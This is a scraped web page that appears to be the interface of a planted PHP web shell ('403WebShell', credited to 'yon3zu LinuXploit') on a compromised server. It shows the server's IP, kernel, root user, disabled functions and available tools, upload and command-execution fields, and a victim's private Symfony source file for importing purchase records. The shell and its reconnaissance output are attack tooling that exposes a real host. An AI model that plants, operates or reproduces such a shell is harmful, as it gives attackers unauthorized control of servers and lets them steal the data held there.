WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Command/ImportPurchasesCommand.php
<?php

namespace App\Command;

use App\Entity\FtpUser;
use App\Entity\Invoice;
use App\Entity\InvoiceItems;
use App\Entity\Stock;
use App\Entity\StockCategory;
use App\Entity\StockType;
use App\Entity\User;
use App\Repository\StockCategoryRepository;
use App\Service\ImageHelper;
use App\Util\UserManipulator;
use FOS\UserBundle\Util\TokenGenerator;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use Psr\Container\ContainerInterface;
use Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\Finder\Finder;
use Symfony\Component\HttpFoundation\File\File;

class ImportPurchasesCommand extends Command
{
    protected static $defaultName = 'app:import:purchases';
    private $userManipulator;

    private $container;
    private $params;
    private $imageHelper;
    private $base_path;

    public function __construct(ContainerInterface $container, ParameterBagInterface $parameterBag, ImageHelper $imageHelper)
    {
        parent::__construct();
        $this->params = $parameterBag;
        $this->container = $container;
        $this->imageHelper = $imageHelper;
        $this->base_path=getenv('OLD_UPLOAD_DIR');

        $this->em = $this->container->get('doctrine')->getManager();
    }

    protected function configure()
    {
//        parent::__construct();
        $this
            ->setDescription('Import Purchases');
    }


    protected function execute(InputInterface $input, OutputInterface $output): int
    {

        $io = new SymfonyStyle($input, $output);
        $em = $this->em;
        $invoiceRepo=$em ->getRepository(Invoice::class);
        $userRepo=$em ->getRepository(User::class);
        $stockRepo=$em ->getRepository(Stock::class);
        $invoiceItemsRepo=$em ->getRepository(InvoiceItems::class);
        $stock_directory=$this->params->get('stock_directory');
        //dump($stock_directory);

        $servername = getenv('OLD_DATABASE_HOST');
        $username = getenv('OLD_DATABASE_USERNAME');
        $password = getenv('OLD_DATABASE_PASSWORD');
        $dbname = getenv('OLD_DATABASE_DATABASE');
//        $manipulator = $this->getContainer()->get('fos_user.util.user_manipulator');
// Create connection
        $conn = new \mysqli($servername, $username, $password, $dbname);

// Check connection
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }

        $sql = "select * from orders o
                inner join order_items oi on o.order_id=oi.order_id
                where o.order_status='COMPLETED' ORDER BY oi.order_id
                ;
                ";
        $result = $conn->query($sql);
        if ($result->num_rows > 0) {
            while ($row = $result->fetch_assoc()) {
//                 print_r($row);
                 $invoice=$invoiceRepo->findOneBy(['PesapalTrackingId'=>$row['payment_id']]);
                 $user=$userRepo->findOneBy(['oldID'=>$row['member_id']]);
                 if($user==null){
                     $user=$userRepo->find(2);
                 }
                 $stock=$stockRepo->findOneBy(['oldID'=>$row['product_id']]);
                 if($stock!==null) {
                     if ($invoice == null) {
                         //create invoice
                         $invoice = new Invoice();
                         $invoice->setPesapalTrackingId($row['payment_id']);
                         $invoice->setPesapalStatus('COMPLETED');

                         $invoice->setStatus('paid');
                         $invoice->setTotal($row['order_cost']);
                         $invoice->setCreateTime(new \DateTime($row['date_purchased']));
                         $invoice->setCreateBy($user);
                         $this->em->persist($invoice);
                         $this->em->flush();
                     }
                     $invoiceItem = $invoiceItemsRepo->findBy(['Stock' => $stock, 'Invoice' => $invoice]);
                     if ($invoiceItem == null) {
                         $invoiceItem = new  InvoiceItems();
                         $invoiceItem->setStock($stock);
                         $invoiceItem->setFileSize($row['product_size']);
                         $invoiceItem->setAmount($row['product_cost']);
                         $invoiceItem->setCreatedAt(new \DateTime($row['date_purchased']));
                         $invoiceItem->setLicenceType($row['product_license']);
                         $invoiceItem->setInvoice($invoice);
                         $this->em->persist($invoiceItem);
                         $this->em->flush();
                     }
                     $io->note($row['product_id']. ' Imported');
                 }
                 else{
                    $io->note($row['product_id']. 'not found');
                 }

//                $this->createUser($row);
//                $io->note($row['details_email'].'-- Impored');
            }//end sample
        } else {
            echo "0 results";
        }
        $this->em->flush();



        $io->success('You have a new command! Now make it your own! Pass --help to see your options.');

        return 0;
    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit